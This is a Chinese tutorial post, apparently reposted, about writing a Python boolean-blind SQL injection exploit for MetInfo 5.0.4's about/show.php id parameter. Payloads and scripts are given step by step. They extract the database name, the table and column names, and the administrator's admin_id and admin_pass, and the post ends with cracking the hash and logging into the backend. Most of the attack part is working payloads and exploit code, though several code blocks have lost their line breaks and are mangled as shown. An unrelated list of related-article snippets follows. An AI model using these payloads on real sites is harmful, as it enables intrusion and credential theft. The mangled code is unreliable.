metinfo_5.0.4 EXP Python脚本编写

文章目录

    • metinfo_5.0.4EXP编写
      • SQL注入漏洞

metinfo_5.0.4EXP编写

SQL注入漏洞

漏洞点:/about/show.php?lang=cn&id=22

http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22

image-20230922173826857

验证漏洞(数字型注入)

状态码区分正确与错误

做比较的时候不能采用单引号进行比较,要采用大小余号,ASCII进行编码

image-20230922175634001

我们看到页面正常

image-20230922175714610

页面不正常,说明此处为数字型注入,且存在布尔盲注漏洞。

我们拿sqlmap跑一下:

python .\sqlmap.py -u "http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"

image-20230922174839385

发现只检测出了延时注入,而没有检测出存在布尔盲注,而延时注入的成本要比布尔盲注的成本要高许多,所以我们就可以自己写一个布尔盲注脚本。

布尔盲注脚本编写

# metinfo_5.0.4_sqli-boolean.py'''
http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22'''
import requests
import string
import base64
from termcolor import coloredurl="http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"i=0while True:i+=1# 获取数据库名称的长度:通过构造 payload ,将 i 的值逐渐增加,并拼接到 URL 中,发送请求。如果返回的页面内容中不包含 "../404.html" ,则表示查询成功,获取到了数据库名称的长度,将其保存在变量 sql_name_length 中。payload= f" and length((select database()))={i} --+" # 获取数据库名的长度时使用# 获取数据库所有表名的长度:通过构造 payload ,将 i 的值逐渐增加,并拼接到 URL 中,发送请求。如果返回的页面内容中不包含 "../404.html" ,则表示查询成功,获取到了所有表名的长度。payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} --+"  # 获取数据库所有表名时使用#print(payload)full_url=url+payloadprint(full_url)res=requests.get(url=full_url)if "../404.html" not in res.text:sql_name_length=iprint(f"[*] The length is {i}")break# string.printable 是一个内置字符串常量,包含了 ASCII 字符集中的所有可打印字符。
# strip() 是 Python 内置的字符串方法之一,它的作用是去除字符串的头尾指定字符(默认为空格字符)。
# 因为string.prinable 的最后的几个字符是空格、制表符、换行符等不可打印字符。因为在进行 SQL 注入时,只需要使用可打印字符,所以需要使用 strip() 方法将不可打印字符去除。
c_set= string.printable.strip()sql_name=""#  获取数据库名
for b in range(sql_name_length):for c in c_set:payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- "  # 获取数据库名时使用,ord.c 表示转换为ascii码payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- "  # 获取数据库所有表名时使用# print(payload)full_url=url+payloadres=requests.get(url=full_url)if "../404.html" not in res.text:sql_name+=cprint(colored(f"[*] The sqlname is {sql_name}","green"))break'''DATABASE:metinfo_504table_name:met_admin_column,met_admin_table,met_app,met_column,met_config,met_cv,met_download,met_feedback,met_flash,met_flist,met_img,met_index,met_job,met_label,met_lang,met_link,met_list,met_message,met_news,met_online,met_otherinfo,met_parameter,met_plist,met_product,met_skin_table,met_sms,met_visit_day,met_visit_detail,met_visit_summary
'''

说明:

代码进入一个嵌套循环,外层循环遍历数据库名称的每个字符位置,内层循环遍历在 ASCII 可打印字符集(string.printable)中的每个字符。在每次循环中,代码构造一个 payload 用于获取数据库名称和所有表名的字符。具体步骤如下:

  1. 获取数据库名称的字符:通过构造 payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- " ,将字符位置 (b+1) 和字符的 ASCII 值 (ord(c)) 插入到 payload 中,发送请求。如果返回的页面内容中不包含 “…/404.html” ,则表示查询成功,获取到了数据库名称的字符,将其添加到变量 sql_name 中。
  2. 获取数据库所有表名的字符:通过构造 payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- " ,将字符位置 (b+1) 和字符的 ASCII 值 (ord(c)) 插入到 payload 中,发送请求。如果返回的页面内容中不包含 “…/404.html” ,则表示查询成功,获取到了所有表名的字符。

执行结果:

image-20230922211732511

获取到表名之后,怎么拿到管理员账密,因为metinfo是一个出名的网站管理系统,我们可以通过百度搜一下他的数据库结构

image-20230922214225296

查到了账号和密码在met_admin_table表中,我们可以继续完善上面的脚本:

构造payload:

payload= f" and length((select group_concat(table_name) from information_schema.tables where table_name='met_admin_table'))>0"

在bp中进行测试:

image-20230922215240720

这里是因为单引号是不可以使用的,需要避免使用单引号,我们可以对其进行十六进制编码:

image-20230922215530028

再次测试:

image-20230922215817106

正常返回,这样payload就构造完成了。接下来构造脚本:

# metinfo_5.0.4_sqli-boolean.py'''
http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22'''
import requests
import string
import base64
from termcolor import colored
import sysbanner='''
================================================================____   _   _   _   _   ___ / ___| | | | | | | | | |_ _|| |  _  | |_| | | | | |  | | | |_| | |  _  | | |_| |  | | \____| |_| |_|  \___/  |___|-- G_H_IExplain : In this case, the test is metinfo 5.0.4 sqli-boolean================================================================'''print(colored(banner,"green"))flag = input(colored(f"Could you want to continue?[Y/n]","red"))if flag == "n":exit()url= "http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"i=0while True:i+=1payload= f" and length((select database()))={i} --+" # 获取数据库名的长度时使用payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} --+"  # 获取数据库所有表名时使用payload= f" and length((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65))={i} --+"# print(payload)full_url=url+payloadprint(full_url)res=requests.get(url=full_url)if "../404.html" not in res.text:sql_name_length=iprint(colored(f"[*] The length is {i}","red"))breakc_set= string.printable.strip()sql_name=""for b in range(sql_name_length):for c in c_set:payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- "  # 获取数据库名的长度时使用,ord.c 表示转换为ascii码payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- "  # 获取数据库所有表名时使用payload=f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65),{b+1},1))={ord(c)} -- "# print(payload)full_url=url+payloadres=requests.get(url=full_url)if "../404.html" not in res.text:sql_name+=c# print(colored(f"[*] The sqlname is {sql_name}","green"))print(colored(f"\r[*] The column_name is : {sql_name}","green"),end='') # end 是一个命名参数,用于指定在输出结束后要添加的字符,不添加 end 时,默认情况下是换行符 \nbreak

补充:

concatgroup_concat 都是 MySQL 数据库中的字符串聚合函数。它们的作用是把多个字符串值连接成一个字符串,并返回连接后的结果。

然而,两者有以下不同之处:

  1. concat 函数只能连接两个字符串,而 group_concat 函数可以连接多个字符串。
  2. concat 函数返回连接后的字符串结果,而 group_concat 函数返回所有连接后的字符串组成的一个字符串列表。

image-20230923104826474

我们得到了admin_id 和admin_pass,我们猜测这两个代表管理员账户和密码,我们接着完善脚本:

# metinfo_5.0.4_sqli-boolean.py'''
http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22得到数据库名的长度and length((select database()))=1 --+得到数据库名  and ascii(substr((select database()),1,1))=1 --+ 得到数据库所有表名的长度总和 and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1 --+ 得到数据库所有表名 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=1 --+得到met_admin_table表的所有列数  and length((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65))=1 --+得到met_admin_table表的所有字段and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65),1,1))=1 --+ 获取met_admin_table表中的 admin_id和admin_pass 外加一个冒号分隔符的长度and length((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1))=1 --+获取admin_id 和 admin_pass 的值and ascii(substr((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1),1,1))=1 --+ 
'''import requests
import string
import base64
from termcolor import colored
import sysbanner='''
================================================================____   _   _   _   _   ___ / ___| | | | | | | | | |_ _|| |  _  | |_| | | | | |  | | | |_| | |  _  | | |_| |  | | \____| |_| |_|  \___/  |___|-- G_H_IExplain : In this case, the test is metinfo 5.0.4 sqli-boolean================================================================'''print(colored(banner,"green"))flag = input(colored(f"Could you want to continue?[Y/n]","red"))if flag == "n":exit()url= "http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"i=0while True:i+=1payload= f" and length((select database()))={i} -- " # 获取数据库名的长度时使用payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} -- "  # 获取数据库所有表名时使用payload= f" and length((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65))={i} -- "payload= f" and length((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1))={i} --+" # limit 0,1 :限制查询结果的行数为一行,从第 0 行开始,即第一行。# print(payload)full_url=url+payload# print(full_url)res=requests.get(url=full_url)if "../404.html" not in res.text:sql_name_length=iprint(colored(f"[*] The length is {i}","green"))breakflag = input(colored(f"Could you want to continue?[Y/n]","red"))if flag == "n":exit()c_set= string.printable.strip()sql_name=""for b in range(sql_name_length):for c in c_set:payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- "  # 获取数据库名的长度时使用,ord.c 表示转换为ascii码payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- "  # 获取数据库所有表名时使用payload=f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65),{b+1},1))={ord(c)} -- "payload=f" and ascii(substr((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1),{b+1},1))={ord(c)} -- "# print(payload)full_url=url+payloadres=requests.get(url=full_url)if "../404.html" not in res.text:sql_name+=c# print(colored(f"[*] The sqlname is {sql_name}","green"))print(colored(f"\r[*] The met_admin_table-column_name is : {sql_name}","green"),end='') # end 是一个命名参数,用于指定在输出结束后要添加的字符,不添加 end 时,默认情况下是换行符 \nbreak

执行结果:

image-20230923105443011

对得到的密文其进行解密:

image-20230923105548514

登录网站后台:

image-20230923105757804

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/140647.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

SkyWalking分布式链路追踪学习

为什么要用分布式链路追踪 实际生产中,面对几十个、甚至成百上千个的微服务实例,如果一旦某个实例发生宕机,如果不能快速定位、提交预警,对实际生产造成的损失无疑是巨大的。所以,要对微服务进行监控、预警&#xff0…

【操作系统笔记三】内存寻址

物理寻址 主存(内存) 计算机主存也可以称为物理内存,内存可以看成由若干个连续字节大小的单元组成的数组每个字节都有一个唯一的物理地址(Physical Address)CPU访问内存前,先拿到内存地址,然后…

Failed to load the JNI shared library “D:\...\jvm.dll

1.解决办法: 64-bit Eclipse requires a 64-bit JVM, and 32-bit Eclipse requires 32-bit JVM--you can not mix-and-match between 32-bit and 64-bit. 2.问题: 下载了Eclipse4.16,openjdk8,双击安装Eclipse无法启动&#x…

git常用命令 Git常用命令 git常用操作 git 操作

git常用命令 Git常用命令 git常用操作 git 操作 示例仓库地址初始化本地仓库克隆仓库代码查看当前仓库的状态,包括已修改但未提交的文件添加提交文件提交更改查看提交历史记录查看分支列表切换分支合并一个指定的分支到当前分支拉取远程仓库最新代码推送到远程仓库推…

高级运维学习(九)块存储、文件系统存储和对象存储的实现

块存储基础 块设备存取数据时,可以一次存取很多。字符设备只能是字符流 [rootceph1 ~]# ll /dev/sda brw-rw---- 1 root disk 8, 0 Dec 12 13:15 /dev/sda # b表示block,块设备[rootceph1 ~]# ll /dev/tty crw-rw-rw- 1 root tty 5, 0 Dec 12 13:31 /d…

数据结构—堆(C语言实现)

目录 堆是什么? 一、大堆 一、小堆 如何实现堆? 代码实现 ? 一、定义堆的结构体 二、初始化堆 三、构建堆 1.利用向下调整算法 2.开始构建 四、插入元素 1.利用向上调整算法 五、取出堆顶元素、销毁堆 六、堆排序 Extra&#…

JavaEE--线程基础(中)

volatile 修饰的变量, 能够保证 “内存可见性” 上述过程的完整代码如下: public class Demo14 {//使用locker对象负责加锁,wait,notifyprivate static Object lockernew Object();public static void main(String[] args) {Thread t1new T…

【前段基础入门之】=>HTML结构进阶【列表;表格;表单】

前言 在上一章节中,我们学习了讲述了 html 中的一些常用排版标签,以及一些文本标签和超链接等相关知识。本章节将重点给大家带来 HTML 中【列表,表格,表单】的使用讲解。 目录 列表有序列表无序列表自定义列表 表格表格的基本结构…

为什么网络安全缺口很大,而招聘却很少?学网络安全真的没有前途吗?

2020年我国网络空间安全人才数量缺口超过了140万,就业人数却只有10多万,缺口高达了93%。这里就有人会问了: 1、网络安全行业为什么这么缺人? 2、明明人才那么稀缺,为什么招聘时招安全的人员却没有那么多呢&#xff1…

Kubernetes中Pod的扩缩容介绍

Kubernetes中Pod的扩缩容介绍 在实际生产系统中,我们经常会遇到某个服务需要扩容的场景,也可能会遇到由于资源紧张或者工作负载降低而需 要减少服务实例数量的场景。此时可以利用 Deployment/RC 的 Scale 机制来完成这些工作。 Kubernetes 对 Pod 的扩…

opencv形状目标检测

1.圆形检测 OpenCV图像处理中“找圆技术”的使用-图像处理-双翌视觉OpenCV图像处理中“找圆技术”的使用,图像处理,双翌视觉https://www.shuangyi-tech.com/news_224.htmlopencv 找圆心得,模板匹配比霍夫圆心好用 - 知乎1 相比较霍夫找直线算法, 霍夫找…

如何安全传输存储用户密码?(程序员必备)

前言 我们开发网站或者APP的时候,首先要解决的问题,就是「如何安全传输和存储用户的密码」。一些大公司的用户数据库泄露事件也时有发生,带来非常大的负面影响。因此,如何安全传输存储用户密码,是每位程序员必备的基础…

[NLP] LLM---<训练中文LLama2(三)>对LLama2进行中文预料预训练

预训练 预训练部分可以为两个阶段: 第一阶段:冻结transformer参数,仅训练embedding,在尽量不干扰原模型的情况下适配新增的中文词向量。第二阶段:使用 LoRA 技术,为模型添加LoRA权重(adapter&…

Apache Hive安装部署详细图文教程

目录 一、Apache Hive 元数据 1.1 Hive Metadata 1.2 Hive Metastore 二、Metastore 三种配置方式 ​2.1 内嵌模式 ​2.2 本地模式 ​2.3 远程模式 ​三、Hive 部署实战 3.1 安装前准备 3.2 Hadoop 与 Hive 整合 3.3 远程模式安装 3.3.1 安装 MySQL 3.3.2 …

Go语言入门篇

目录 一、基础数据类型 1.1 变量的定义方式 1.2 用%T输出变量的类型 二、复合数据类型 2.1 数组 2.1.2、数组的遍历 2.1.3 数组传参 2.2. 切片slice 2.2.1. 初始化切片 2.2.2. append向切片中追加元素 2.2.3. 切片的截取 2.3. map 2.3.1. map初始化 2.3.2. 添加和…

干货 | 基于深度学习的生态保护红线和生态空间管控区域内开发建设活动识别...

以下内容整理自2023年夏季学期大数据能力提升项目《大数据实践课》同学们所做的期末答辩汇报。 一、背景需求 本研究主要针对江苏省典型生态保护区域,通过计算机语义分割和变化检测的技术方法,以实现生态保护区内违法违规开发建设活动的智能监控。 项目的…

MQ - 01 消息队列发展史MQ通用架构

文章目录 导图PreMQ 发展史消息队列的发展脉络MQ选型考虑因素消息 和 流消息队列的架构和功能什么情况下会使用消息队列?架构和功能的基本概念架构层面的基本概念功能层面的基本概念4款主流消息队列的区别和建议对比图导图 Pre MQ - 闲聊MQ一二事儿

【WSN】基于蚁群算法的WSN路由协议(最短路径)消耗节点能量研究(Matlab代码实现)

💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…

MySQL主从复制与读写分离(附配置实例)

目录 一、主从复制1.1 什么是主从复制?1.2 MySQL支持的复制类型1.3 主从复制的工作过程1.4 主从复制的同步模式1.4.1 异步复制(Asynchronous replication)1.4.2 全同步复制(Fully synchronous replication)1.4.3 半同步…

Floyd算法基础

弗洛伊德算法(Floyd) 之前介绍了迪杰斯特拉算法(Dijkstra)。具体请看:最短路径算法——简单明了的迪杰斯特拉算法(Dijkstra)。Dijkstra适用于非负权图,并且一次只能从网络中找源点到任何一个节点的最短路径,而Floyd算法的应用更加广泛&#…